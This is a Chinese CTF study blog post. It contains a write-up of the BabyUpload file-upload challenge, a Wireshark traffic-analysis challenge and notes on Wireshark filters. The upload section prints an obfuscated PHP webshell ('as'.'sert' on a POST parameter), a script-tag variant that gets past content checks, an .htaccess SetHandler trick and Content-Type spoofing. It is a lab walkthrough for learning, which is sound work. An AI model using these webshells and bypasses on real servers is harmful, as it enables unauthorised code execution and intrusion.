文件上传巩固及流量分析

1.[GXYCTF2019]BabyUpload

1)打开题目也是没有任何提示,

2)进入环境,看到下面页面猜测是文件上传漏洞,下面开始传文件

3)首先上传一句话木马 a.php,代码如下:

下面这个代码中并没有写传统的一句话木马,因为直接写一句话木马需要关闭系统防火墙**。**

复制代码
<?php
	$a="a"."s";
	$b="s"."e"."rt";
	$c=$a.$b;
	$c($_POST['123']);
?>

提示后缀不能有ph,那么根据前面做过类似文件上传的题,php3,php5,phtml等后缀也无法使用了。

5)那就将文件后缀改为 jpg,上传后页面如下:

6)由此我们得知,后端检测出我们的.jpg文件源码中含有php代码。

那么只有将.jpg文件中的php代码用 javascript 的形式代替了,代码如下:

复制代码
<script language='php'>
    $a = "a"."s";
    $b = "s"."e"."r"."t";
    $c = $a.$b;
    $c($_POST["123"]);
</script>

重新上传,页面如下:

7)这里也是上传成功了,接下来按照之前做题惯例,它应该还得解析jpg文件中的php代码了,这时就需要上传.htaccess文件来帮助解析,它必须包含以下代码

复制代码
SetHandler application/x-httpd-php

这条命令可以解析所有后缀文件中的 php 代码。

上传出现这问题我也是懵了,抓个包看看吧

猜测应该是,后端代码对文件类型--Content-type有限制。

这就需要我们在上传 .htaccess 文件的同时,利用Burpsuite进行抓包,修改 Content-type为image/jpeg,如下:

修改为image/jpeg

然后放包

页面显示上传成功**(.htaccess successfully uploaded)**

然后再次上传jpg文件,如下:

由此可以拼接网址

http://c36ead8b-24f9-48f5-ab15-e7308cb50dc7.node5.buuoj.cn:81/upload/c9b8b9f7c985fa1d10ca30c0f9a2de85/b.jpg

然后用蚁剑链接

成功找到flag

总结一下这题简单来说它就是过滤了php,限制了文件上传的内容,然后需要解析jpg文件,需要上传.htaccess文件来进行解析,以及修改数据类型,拼接url头等

2.数据包中的线索

1)下载附件,用wireshark打开,从中进行数据分析

2)过滤一下http流

3)找到一个状态值为200的,看着有点问题,打开seesee

看到里面是类似于base64编码的一大篇

4)选中编码去解码,注意最后面多了个0要去掉

太大解析不出来,直接将他存为图片

拿到 flag{209acebf6324a09671abc31c869de72c}

当然这里需要注意的是

/9j是jpg文件头的 base64 编码

3.最后加上昨天学的再总结一下流量分析

首先whireshark提供了三个主要面板,包括:

抓包面板(Capture Panel):

抓包面板用于捕获网络数据包,并显示已经捕获的数据包列表。在该面板中,可以选择捕获的网络接口、设置捕获过滤器、启动和停止抓包等操作。此外,还可以通过右键单击数据包,查看详细信息、导出数据包、跟踪TCP流等。

数据包列表面板(Packet List Panel):

数据包列表面板显示已经捕获的数据包列表,其中每个数据包占据一行,并列出了有关该数据包的一些关键信息,如时间戳、源IP地址、目标IP地址、协议类型、数据包长度等。此外,还可以通过对列表进行排序、筛选、搜索等操作,方便用户查找和分析数据包。

数据包详情面板(Packet Detail Panel):

数据包详情面板显示选定数据包的详细信息,包括各个协议层的数据结构和字段值。用户可以通过展开不同的节点,查看不同的协议头和数据负载,帮助用户深入理解数据包的内容和意义。

常用语法:

(在搜索框输入http即可看http的流量)

tcp:显示所有TCP协议的数据包
udp:显示所有UDP协议的数据包
http:显示所有HTTP协议的数据包
dns:显示所有DNS协议的数据包
icmp:显示所有ICMP协议的数据包

ip地址筛选:
ip.addr == 192.168.0.1:显示与指定IP地址相关的所有数据包
ip.src == 192.168.0.1 :显示源IP地址为指定地址的数据包
ip.dst == 192.168.0.2:显示目标IP地址为指定地址的数据包

端口筛选:
tcp.port == 80:显示使用指定TCP端口的数据包
udp.port == 53:显示使用指定UDP端口的数据包

比较运算符:
==:等于,例如:http.request.method == "POST"
!=:不等于,例如:ip.addr != 192.168.0.1
<、>:小于、大于,例如:frame.len > 100 或 frame.len < 50,可以指定过滤数据包长度

数据包内容过滤规则:
http.request.method == "GET" 或 tcp.flags.syn == 1,可以通过指定数据包内容,只保留符合条件的数据包。

: 关于我也不太懂的一点

就是在TCP三次握手过程中,客户端向服务端发送一个SYN标志的数据包,表示请求建立连接。而tcp.flags.syn == 1就是Wireshark中用于匹配TCP SYN标志的过滤规则,其中1表示该标志位被置为1,表示该数据包是一个SYN数据包。当Wireshark捕获到一个TCP数据包时,会检查该数据包的TCP头部中的SYN标志位是否被置为1,如果符合条件,则该数据包会被匹配并显示出来。这样,用户就可以快速过滤出所有的TCP SYN数据包,方便进行相关的分析和处理。

相关推荐
hhw19911229 分钟前
vue总结
前端·javascript·vue.js
学习2年半31 分钟前
汇丰eee2
前端·spring
代码续发33 分钟前
Vue进行前端开发流程
前端·vue.js
zpjing~.~36 分钟前
CSS &符号
前端·css
冴羽1 小时前
SvelteKit 最新中文文档教程(19)—— 最佳实践之身份认证
前端·javascript·svelte
拉不动的猪1 小时前
ES2024 新增的数组方法groupBy
前端·javascript·面试
huangkaihao1 小时前
单元测试 —— 用Vitest解锁前端可靠性
前端
archko2 小时前
telophoto源码查看记录
java·服务器·前端
倒霉男孩2 小时前
HTML5元素
前端·html·html5
柯南二号2 小时前
CSS 学习提升网站或者项目
前端·css